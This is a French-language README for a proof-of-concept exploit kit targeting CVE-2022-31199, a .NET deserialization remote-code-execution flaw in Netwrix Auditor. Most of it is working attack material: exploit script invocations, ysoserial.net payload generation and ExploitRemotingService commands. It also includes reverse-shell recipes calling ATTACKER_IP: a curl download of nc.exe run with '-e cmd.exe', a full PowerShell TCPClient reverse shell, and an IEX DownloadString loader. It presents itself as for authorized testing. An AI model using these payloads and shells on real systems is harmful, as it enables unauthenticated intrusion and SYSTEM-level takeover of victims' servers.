Preuves de concept pour CVE-2022-31199, une vulnérabilité critique de désérialisation .NET conduisant à une exécution de code à distance (RCE) dans Netwrix Auditor. Inclut des scripts Python et PowerShell, la génération de charges utiles avec ysoserial.net, et des signatures de détection pour des tests de sécurité autorisés.
CVE-2022-31199 est une vulnérabilité critique de désérialisation d'objets non sécurisée dans Netwrix Auditor versions antérieures à 10.5. La vulnérabilité existe dans un service .NET Remoting non sécurisé écoutant sur le port TCP 9004, permettant à des attaquants distants non authentifiés d'exécuter du code arbitraire avec les privilèges NT AUTHORITY\SYSTEM.
Cette vulnérabilité a été activement exploitée dans la nature par :
L'exploitation réussie conduit généralement à :
Ce dépôt contient des exploits complets de Preuve de Concept (POC) pour CVE-2022-31199 :
exploit.py - Framework d'exploitation basé sur Pythonexploit.ps1 - Script d'exploitation PowerShellREADME.md - Cette documentationmanual-exploitation.md - Guide d'exploitation manuelle étape par étapeysoserial.net - Générateur de charge utile de désérialisation .NET
ExploitRemotingService - Outil d'exploitation .NET Remoting
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# Step 1: Générer la charge utile
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# Step 2: Exécuter l'exploit
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# Port personnalisé
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# Point de terminaison personnalisé
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : Adresse IP ou nom d'hôte de la cible (obligatoire)
--port : Port cible (par défaut : 9004)
--endpoint : Nom du point de terminaison .NET Remoting (par défaut : UAVRServer)
--check : Vérifier uniquement la vulnérabilité, ne pas exploiter
--payload : Charge utile encodée en base64 provenant de ysoserial.net
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Exécution simple de commande
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# Écrire la sortie dans un fichier
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# Port personnalisé
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : Adresse IP ou nom d'hôte de la cible (obligatoire)
-Port : Port cible (par défaut : 9004)
-Command : Commande à exécuter sur la cible (par défaut : "whoami")
-CheckOnly : Vérifier uniquement la vulnérabilité, ne pas exploiter
# Vérifier les informations système
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# Tester la connectivité
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# Exécuter avec mode lease (contourne certaines protections)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# Exécuter avec référence d'objet
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
La vulnérabilité provient de :
1. L'attaquant se connecte au port TCP 9004
2. Identifie le service .NET Remoting (point de terminaison UAVRServer)
3. Génère une charge utile malveillante sérialisée à l'aide de ysoserial.net
4. Envoie la charge utile via le protocole .NET Remoting
5. La cible désérialise l'objet à l'aide de BinaryFormatter
6. La chaîne de gadgets exécute du code arbitraire
7. Le code s'exécute avec les privilèges NT AUTHORITY\SYSTEM